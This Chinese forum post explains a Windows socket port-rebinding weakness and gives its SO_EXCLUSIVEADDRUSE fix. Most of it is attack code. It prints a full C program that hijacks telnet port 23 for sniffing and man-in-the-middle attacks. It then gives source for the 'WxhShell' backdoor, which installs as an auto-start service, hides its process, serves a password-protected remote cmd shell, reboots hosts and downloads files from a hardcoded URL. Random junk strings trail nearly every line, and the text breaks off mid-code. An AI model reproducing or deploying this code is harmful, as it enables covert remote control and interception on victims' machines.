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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ygoA/*s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1sgI,5liUs  
f& P'Kxj_  
  saddr.sin_family = AF_INET; *;7~aM  
^]}+ s(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *#p}>\Y{  
JgQ,,p_V?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4X tIMa28  
aMdWT4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g{wOq{7V  
|P!7T.  
  这意味着什么?意味着可以进行如下的攻击: &Z!O   
yClX!OL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q!7il<S  
A)"?GK{*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KwO;ICdJ  
jd]Om r!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J?VMQTa/+  
/U\k<\1~m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s`Z | A  
S"+X+Oxp7?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jroR 2*  
2wR?ON=Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5=Cea  
)5n*4A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V0 70oZ  
yOHVL~F  
  #include s6=jHrdvv  
  #include X@;; h  
  #include oPP`)b$x  
  #include    >@?!-Fy5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~jcdnm]  
  int main() }7)iLfi  
  { Z !HQ|')N5  
  WORD wVersionRequested; wD+4#=/j  
  DWORD ret; kucH=96  
  WSADATA wsaData; *Ae> ,LyE  
  BOOL val; )LOV)z|}  
  SOCKADDR_IN saddr; H!N`hEEj>  
  SOCKADDR_IN scaddr; m5i?<Ko@  
  int err; YU >NGC]}d  
  SOCKET s; <5).(MTa  
  SOCKET sc; 7dxTyn=  
  int caddsize; PydU.,^7  
  HANDLE mt; D@.+B`bA  
  DWORD tid;   ;W"=s79  
  wVersionRequested = MAKEWORD( 2, 2 ); T$ w`=7  
  err = WSAStartup( wVersionRequested, &wsaData ); ))M!"*  
  if ( err != 0 ) { \N3A2L)l  
  printf("error!WSAStartup failed!\n"); i`k{}!F  
  return -1; E~]37!,\\9  
  } mO#62e4C  
  saddr.sin_family = AF_INET; ,%Go.3i[  
   M/<>'%sj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Zw@=WW[Q`p  
H5MO3DJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2iX57-6Ub  
  saddr.sin_port = htons(23); +"P!es\q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EhWYFQ  
  { pAdx 6  
  printf("error!socket failed!\n"); qXF#qS-28  
  return -1; V.\12P  
  } y6#AL<W@=  
  val = TRUE; dMw7UJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xlKg0 &D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mCb1^Y  
  { `2 6t+Tb  
  printf("error!setsockopt failed!\n"); J_-K"T|f  
  return -1; qnO>F^itF  
  } B7QuSo//  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $0[t<4K`yn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #{f%b,.yxt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /+ yIcE(&3  
58]C``u@Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *3R3C+ L  
  { OV>JmYe1{/  
  ret=GetLastError(); NC @L,)F  
  printf("error!bind failed!\n"); ^uCZO  
  return -1; -d+o\qp"#  
  } 8?l/x  
  listen(s,2); yq6Gyoi<  
  while(1) 0(o{V:l%Z|  
  { ] Hiw+5n  
  caddsize = sizeof(scaddr); ja2BK\"1:  
  //接受连接请求 ",, W1]"%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6B8g MO  
  if(sc!=INVALID_SOCKET) Crg@05Z  
  { vRI0fDu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !pJd^|4A]  
  if(mt==NULL) j 3t,Cx  
  { %3kS;AaA  
  printf("Thread Creat Failed!\n"); Y[~Dj@Q<  
  break; zm~sq_=^  
  } |#i|BVnoE  
  } <>71;%e;'  
  CloseHandle(mt); +eUWf{(_  
  } i8nzPKF2$3  
  closesocket(s); BbC aIt  
  WSACleanup(); bCfw,V{sce  
  return 0; T8t_+| ( G  
  }   07 E9[U[  
  DWORD WINAPI ClientThread(LPVOID lpParam) d_] sV4[  
  { pP|LSr Y!  
  SOCKET ss = (SOCKET)lpParam; A6S|pO1)3  
  SOCKET sc; L]e@. /C$  
  unsigned char buf[4096]; \2#j1/d4  
  SOCKADDR_IN saddr; O'.sK pXe  
  long num; xf|vz|J?y  
  DWORD val; {kOTQG?y  
  DWORD ret; 8M6wc394  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &P:2`\'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <FofRFaS  
  saddr.sin_family = AF_INET; uXuA4o$t-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @3v[L<S{  
  saddr.sin_port = htons(23); EvGKcu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D/oO@;`'c  
  { bAwFC2jO[  
  printf("error!socket failed!\n"); }trQ<*D  
  return -1;  k:i}xKu  
  } ?#0m[k&`  
  val = 100; 0J z|BE3Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qe_qag9  
  { h8 !(WO!  
  ret = GetLastError(); ^3O`8o  
  return -1; U UYx-x  
  } f?BApm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) phP%  
  { L|y 9T {s  
  ret = GetLastError(); *-,jIaL;  
  return -1; H$)__V5I,q  
  } {^A,){uX]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 60XTdJkDkA  
  { 4S\St <  
  printf("error!socket connect failed!\n"); M $\!SXL  
  closesocket(sc); 79d< ,q;uR  
  closesocket(ss); Sau?Y  
  return -1; WT'?L{  
  } j`l'Mg  
  while(1) <tI_u ~P  
  { 2q}lSa7r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QdK PzjA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )\m%&EXG{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L a8D%N  
  num = recv(ss,buf,4096,0); YgR}y+q^6  
  if(num>0) <!a%GI  
  send(sc,buf,num,0); _%@ri]u{ov  
  else if(num==0) |y DaFv  
  break; E HH+)mlo  
  num = recv(sc,buf,4096,0); E5Zxp3N  
  if(num>0) P;V5f8r?  
  send(ss,buf,num,0); l|L ]==M  
  else if(num==0) VpyqVbx1  
  break; EXizRL-9o  
  } uGY(`  
  closesocket(ss); *T-v^ndJh  
  closesocket(sc); f5P@PG]{  
  return 0 ; Cm%xI& Y  
  } 7*(K%e"U  
9D{p^hd  
;.I,R NM  
========================================================== fD~f_Wr  
8c<OX!  
下边附上一个代码,,WXhSHELL a"!r]=r  
+L-(Lz[p  
========================================================== $^5c8wT  
d37|o3oC  
#include "stdafx.h" 9/dI 6P7  
b@ OF  
#include <stdio.h> Psw<9[  
#include <string.h> b0aV?A}th  
#include <windows.h> @WnW @'*F  
#include <winsock2.h> I.{%e;Reg  
#include <winsvc.h> v{O(}@  
#include <urlmon.h> >vZ^D  
Rd ,5 &X$  
#pragma comment (lib, "Ws2_32.lib") gT#hF]c:  
#pragma comment (lib, "urlmon.lib") wvPS0]  
y1t,i. [  
#define MAX_USER   100 // 最大客户端连接数 =@s{H +  
#define BUF_SOCK   200 // sock buffer @% .;}tC  
#define KEY_BUFF   255 // 输入 buffer u$ a7  
aB2t/ua  
#define REBOOT     0   // 重启 _\u?]YTv  
#define SHUTDOWN   1   // 关机 66l+cb  
 li  
#define DEF_PORT   5000 // 监听端口 A ^X1  
~vw$Rnotz  
#define REG_LEN     16   // 注册表键长度 [KNA5(Y0  
#define SVC_LEN     80   // NT服务名长度 e6 a]XO^  
KCi0v  
// 从dll定义API gmdA1$c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >L,Pw1Y0W[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VdF<#(X+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 25/M2u?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?;ovh nY)  
4rH:`494  
// wxhshell配置信息 F+285JK  
struct WSCFG { m?`?T   
  int ws_port;         // 监听端口 wG",Obja  
  char ws_passstr[REG_LEN]; // 口令 bxvpj  
  int ws_autoins;       // 安装标记, 1=yes 0=no >36>{b<'$*  
  char ws_regname[REG_LEN]; // 注册表键名 ?^!: Lw  
  char ws_svcname[REG_LEN]; // 服务名 WNo<0|X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sO 0j!;N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '=cAdja  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !xz{X?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /(?,S{]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u$nYddak  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^ SW!S_&Z2  
+a74] H"  
}; *s (L!+  
DUWSY?^c  
// default Wxhshell configuration aSQvtv)91  
struct WSCFG wscfg={DEF_PORT, |s, Add:S  
    "xuhuanlingzhe", j[Oh>yG  
    1, FSA"U9 w<  
    "Wxhshell", aJSBG|IC  
    "Wxhshell", 9 M!U@>  
            "WxhShell Service", K%3{a=1  
    "Wrsky Windows CmdShell Service", <iN xtD0  
    "Please Input Your Password: ", \) vI-  
  1, ;)'  
  "http://www.wrsky.com/wxhshell.exe", }J(o!2.  
  "Wxhshell.exe" 9y`Vg  
    }; IpKpj"eoLy  
JXk<t5@D  
// 消息定义模块 lvk r2Meu<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fe+2U|y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7R=A]@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?f4jqF~Fh  
char *msg_ws_ext="\n\rExit."; G\/7V L  
char *msg_ws_end="\n\rQuit."; MRa |<yK  
char *msg_ws_boot="\n\rReboot..."; *Fm#Qek  
char *msg_ws_poff="\n\rShutdown..."; T )"U q  
char *msg_ws_down="\n\rSave to "; eWU@ @$9  
U_ *K%h\m  
char *msg_ws_err="\n\rErr!"; _aK4[*jnqh  
char *msg_ws_ok="\n\rOK!"; V J]S"  
SEsLJ?Dv0  
char ExeFile[MAX_PATH]; _>(qQ-Px  
int nUser = 0; |5#iPw_wMY  
HANDLE handles[MAX_USER]; C252E  
int OsIsNt; Ct0YwIR*  
qL/XGIxL?  
SERVICE_STATUS       serviceStatus; a:}&v^v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OuV f<@a  
5<mGG;F  
// 函数声明 sX|bp)Nw  
int Install(void); ;*q  
int Uninstall(void); qN(,8P\90  
int DownloadFile(char *sURL, SOCKET wsh); ]n^TN r7  
int Boot(int flag); T5? eb"  
void HideProc(void); kC=h[<'  
int GetOsVer(void); be+tAp`  
int Wxhshell(SOCKET wsl); D5jZ;z}  
void TalkWithClient(void *cs); o 12w p  
int CmdShell(SOCKET sock); aT20FEZ;  
int StartFromService(void); ;}QM#5Xdt  
int StartWxhshell(LPSTR lpCmdLine); ZmzYJ$:6  
2t 1u{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UwVc!Lys  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pef$-3aP>E  
prCr"y` M  
// 数据结构和表定义 0qhSV B5  
SERVICE_TABLE_ENTRY DispatchTable[] = Ncsk~=[  
{ q+?>shqsZ  
{wscfg.ws_svcname, NTServiceMain}, hWfC"0  
{NULL, NULL} f1 TYQ?e  
}; CZ}%\2>-v  
g"|Z1iy|9  
// 自我安装 6;%Ajx  
int Install(void) \. _TOE9L  
{ OVhtU+r  
  char svExeFile[MAX_PATH]; }4wIfI83K,  
  HKEY key; :Mzkm^7B  
  strcpy(svExeFile,ExeFile); LL7un_EC  
-:!FQ'/7E  
// 如果是win9x系统,修改注册表设为自启动 Xi"<'E3_  
if(!OsIsNt) { #xe-Yw1!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HG:9yP<,o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c^%&-],  
  RegCloseKey(key); $C`YVv%?0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fa^I 1fk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OYayTKxN  
  RegCloseKey(key); iK=SK3)vR  
  return 0; ;vLg4k  
    } 4j VFzO%.  
  } PYJ8\XZ1_N  
} 5`O af\S  
else { v]e6CZwo  
<OA[u-ph%S  
// 如果是NT以上系统,安装为系统服务 wxIWh>pZa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C .{`-RO  
if (schSCManager!=0) 6Cz%i 6)  
{ 3,$G?auW  
  SC_HANDLE schService = CreateService Z Vj  
  ( BIeeu@p  
  schSCManager,  <6[P5>  
  wscfg.ws_svcname, ?0VETa ~m  
  wscfg.ws_svcdisp, ~$:=hT1  
  SERVICE_ALL_ACCESS, qe_59'K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <WGx 6{  
  SERVICE_AUTO_START, {3R?<ET]mt  
  SERVICE_ERROR_NORMAL, v*VId l>  
  svExeFile, /IyCvo  
  NULL, 3_cZaru  
  NULL, . Q$/\E  
  NULL, gRQV)8uh  
  NULL, C Ch38qBp  
  NULL 8zWKKcf7t  
  ); GjGt' m*  
  if (schService!=0) sH `(y)`_  
  { jI~GRk  
  CloseServiceHandle(schService); XTPf~Te,=  
  CloseServiceHandle(schSCManager); 2nA/{W\hC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kNDN<L  
  strcat(svExeFile,wscfg.ws_svcname); &&er7_Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j%@wQVxq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tG}cmK~%  
  RegCloseKey(key); 2j( ]Bt:  
  return 0; 'D<84|w:1  
    } X4dXO5\  
  } NAt; r  
  CloseServiceHandle(schSCManager); AW< z7B D  
} SXx;- Ws  
} 3Z-N*bhC  
`zBQ:_3J_  
return 1; > cM}M=4s  
} |*[#Iii'  
ds|L'7  
// 自我卸载 P K9BowlW  
int Uninstall(void) Ki{]5Rz  
{ <QZ X""  
  HKEY key; PS3%V_2  
|\iJ6m;a  
if(!OsIsNt) { 3,4m|Z2)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fx `oe  
  RegDeleteValue(key,wscfg.ws_regname); t $yt8#Tk  
  RegCloseKey(key); ?PSVVU q,Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jZLD^@AP  
  RegDeleteValue(key,wscfg.ws_regname); |(6H)S]$  
  RegCloseKey(key); ! :XMP*g  
  return 0; JMIS*njq^  
  } O~=|6#c  
} ,8/Con|o  
} 3D*vNVI  
else { ;0 No@G;z  
zb=L[2;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qp)a`'Pq  
if (schSCManager!=0) cJ#|mzup  
{ v#WD$9QWs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T>\ r}p  
  if (schService!=0) R}VEq gq  
  { Al1BnFB  
  if(DeleteService(schService)!=0) { LYvjqNC&4  
  CloseServiceHandle(schService); !3 j@gi2  
  CloseServiceHandle(schSCManager); pXBlTZf  
  return 0; 'X@>U6s  
  } IQya{e  
  CloseServiceHandle(schService); Zwxu3R_  
  } q;0QI{:5v  
  CloseServiceHandle(schSCManager); ;*=MI/"N  
} "Nlw&+ c7  
} ZB@Bj>,b p  
'hn=X7  
return 1; @+ee0 CLT  
} NiPa-yRh  
+kN/-UsB  
// 从指定url下载文件 QYj8c]8f  
int DownloadFile(char *sURL, SOCKET wsh) !1<?ddH6  
{ j\9v1O!T  
  HRESULT hr; ="Sa>-d o,  
char seps[]= "/"; xHo iu$i6  
char *token; C. rLog#  
char *file; VvJ]*D+e  
char myURL[MAX_PATH]; *4oj' }  
char myFILE[MAX_PATH]; tH\ aHU[  
&Y/Myh[P  
strcpy(myURL,sURL); Fo86WP}  
  token=strtok(myURL,seps); nL]-]n;  
  while(token!=NULL) <~}# Q,9  
  { nm.~~h+8M  
    file=token; X5`#da  
  token=strtok(NULL,seps); 9u&q{I  
  } qJ8@A}}8  
2&Hn%q)  
GetCurrentDirectory(MAX_PATH,myFILE); +o7Np| Ou  
strcat(myFILE, "\\"); !W3bHy:C"  
strcat(myFILE, file); @cz\'v6E  
  send(wsh,myFILE,strlen(myFILE),0); a$K.Or}  
send(wsh,"...",3,0); *4<Kz{NF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0>KW94  
  if(hr==S_OK) aHzS>  
return 0; @ a?^2X^  
else ; M%n=+[O  
return 1; tF@hH}{;  
6x$1En  
} }q~M$  
vn0}l6n3s  
// 系统电源模块 *#n?6KqZ  
int Boot(int flag) 4gRt^T-?  
{ RO10$1IW.2  
  HANDLE hToken; u_~*)w+mS@  
  TOKEN_PRIVILEGES tkp; (" ,(@nS  
Oi~ ]~+2  
  if(OsIsNt) { @C34^\aH+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^A"TY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ci~pM<+  
    tkp.PrivilegeCount = 1; 5`?'}_[Yj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hve'Z,X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i& ,Wg8#R  
if(flag==REBOOT) { +dIO+(&g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0M^v%2 2  
  return 0; xct{Tv[FO  
} y:>'1"2`  
else { @! gJOy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >,V~-Tp  
  return 0; K4V\Jj1l  
} f 4Yn=D=_  
  } Q#} 0pq  
  else { 1dgy-$H~  
if(flag==REBOOT) { 6zfi\(fop  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )`sEdVxbr  
  return 0; `l0&,]  
} i{9_C/  
else { |*w}bT(PfR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `?H yDny  
  return 0; ygA~d9"  
} WHM|kt  
} N7b+GqYpF>  
e{<r<]/j  
return 1; +v7mw<6s  
} fA k]]PU  
#_b U/rk)*  
// win9x进程隐藏模块 q4~w D  
void HideProc(void) j m]d:=4_  
{ )zR(e>VX  
\UF/_'=K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }eO{+{D +  
  if ( hKernel != NULL ) Z"T#"FDIr  
  { yG`J3++ S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `<z"BGQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ("7rjQjRz  
    FreeLibrary(hKernel); P&s-U6  
  } yi*2^??` 1  
nX|f?5 O  
return; U^n71m>]%T  
} XIAHUT5~J  
 )Uk!;b  
// 获取操作系统版本 H:d@@/  
int GetOsVer(void) gC+PpY#2h  
{ ?Bdhn{_  
  OSVERSIONINFO winfo; !FqJP OGm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /g_cz&luR  
  GetVersionEx(&winfo); M'n2j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^4\h Z  
  return 1; c8^M::NI  
  else $@[`v0y*  
  return 0; c89+}]mGq  
} ds*N1[ *  
R.FC3<TTv  
// 客户端句柄模块 }KBz8M5  
int Wxhshell(SOCKET wsl) `}Of'i   
{ QQnpy.`:/  
  SOCKET wsh; <;R}dlBASW  
  struct sockaddr_in client; ]f3eiHg*  
  DWORD myID; j!It1B  
'F)93SwU  
  while(nUser<MAX_USER) h "MiD  
{ 94>EA/+Ek  
  int nSize=sizeof(client); N '8u}WO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y M <8>d  
  if(wsh==INVALID_SOCKET) return 1; vH^6O:V  
'K L" i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N}j]S{j}'  
if(handles[nUser]==0) VDyQv^=#  
  closesocket(wsh);  MYD`P2F  
else 1^x "P#u  
  nUser++; #s\HiO$BT  
  } C3XB'CL6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [%);N\o2Y  
P0B`H7D  
  return 0; v/fo`]zP  
} TQ{rg2_T  
Vw^2TRU  
// 关闭 socket T ke3X\|  
void CloseIt(SOCKET wsh) CWTPf1?eB  
{ Mx3MNX /  
closesocket(wsh); 7O=N78M  
nUser--; bp>-{Nv  
ExitThread(0); ;yvx-  
} TQ/EH~Sz  
JZa^GW:YQh  
// 客户端请求句柄  rk F>c  
void TalkWithClient(void *cs) #GJ{@C3H8Q  
{ z^ai *   
b6mSPH@  
  SOCKET wsh=(SOCKET)cs; >o]!-46  
  char pwd[SVC_LEN]; R 2{kS  
  char cmd[KEY_BUFF]; 95wi~^^  
char chr[1]; ji|+E`Nii  
int i,j; :"vW;$1 }  
Cggu#//Z}Q  
  while (nUser < MAX_USER) { Ap :mc:  
wb#ZRmx}  
if(wscfg.ws_passstr) { e2~$=f-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bvxol\7;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @d+NeS  
  //ZeroMemory(pwd,KEY_BUFF); ,EE,W0/zzM  
      i=0; YR 5C`o  
  while(i<SVC_LEN) { P1r)n{;  
vky@L!&,  
  // 设置超时 D <16m<b  
  fd_set FdRead; ,esryFRG  
  struct timeval TimeOut; K4G43P5q`  
  FD_ZERO(&FdRead); kE8\\}B7  
  FD_SET(wsh,&FdRead); isG8S(}IW&  
  TimeOut.tv_sec=8; Q1b<=,  
  TimeOut.tv_usec=0; .+@;gVZx1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XtJIaD|:3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FyF./  
yobcAV`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UgVLHwkvk  
  pwd=chr[0]; @26gP:Um  
  if(chr[0]==0xd || chr[0]==0xa) { TZl^M h[a  
  pwd=0; V1P]mUs{1  
  break; Sj[iKCEKtv  
  } =T?:b8yV  
  i++; tFi'RRZ  
    } v_ U$jjO1  
>-%}'iz+  
  // 如果是非法用户,关闭 socket @L9C_a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pL& Zcpx  
} xy^t_];X  
LA837P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mm l`,t8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DL t"cAW  
FQ3{~05T  
while(1) { |[ )e5Xhd  
(uxe<'Co|  
  ZeroMemory(cmd,KEY_BUFF); $ouw *|<  
|= o)|z2  
      // 自动支持客户端 telnet标准   L&I8lG  
  j=0; :rBPgrt  
  while(j<KEY_BUFF) { -lb,0   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +sW;p?K7eO  
  cmd[j]=chr[0]; o#^(mGj_.  
  if(chr[0]==0xa || chr[0]==0xd) { ^%qe&Pe2  
  cmd[j]=0; 9i=HZ\s3  
  break; B%.vEk)*  
  } ZNKopA(=|%  
  j++; x}tg/` .=z  
    } S.I3m-  
$M0F~x  
  // 下载文件 >, 9R :X(  
  if(strstr(cmd,"http://")) { pkKcTY1Fx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @mJ# ~@*(  
  if(DownloadFile(cmd,wsh)) }MiEbLduN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Zpx :r}  
  else TdCC,/c 3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7~I*u6zY  
  } \Zgc [F  
  else { J-k/#A4o  
^E#i5d+'N  
    switch(cmd[0]) { nj (\+l5  
  ;usR=i36b  
  // 帮助 YjR`}rdwo  
  case '?': { JG:li} N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qf .ASC   
    break; dc+U #]tS  
  } ]_EJ "'x  
  // 安装 h 3`\L4b  
  case 'i': { E5+-N  
    if(Install()) LFskNF0X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XZ&cTjNB&  
    else 11g_!X -g@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L>>RboR}  
    break;  T1\@4x  
    } J/(^Z?/~P!  
  // 卸载 t9\}!{<s  
  case 'r': { +I>V9%%vW_  
    if(Uninstall()) E|K|AdL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Q!#v{  
    else Yf?hl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &*YFK/]  
    break; %jErLg  
    } np6R\Q!&  
  // 显示 wxhshell 所在路径 \5pBK  
  case 'p': { U^&,xz$Cg  
    char svExeFile[MAX_PATH]; m5_  
    strcpy(svExeFile,"\n\r"); qGXY  
      strcat(svExeFile,ExeFile); ]I[\Io1  
        send(wsh,svExeFile,strlen(svExeFile),0); =MjkD)l  
    break; "sUjJ|  
    } @9e}kiW  
  // 重启 8svN*`[  
  case 'b': { =3dR-3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F^Y%Q(Dd7w  
    if(Boot(REBOOT)) 35KRJY#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'D:R]@eK]  
    else { h3rVa6cxM  
    closesocket(wsh); |r+w(TG  
    ExitThread(0); Xx+eGV";`  
    } _zK ~9/5  
    break; `Fx+HIng,  
    } TFG0~"4Cz  
  // 关机 &hcD/*_Z  
  case 'd': { 7ND4Booul  
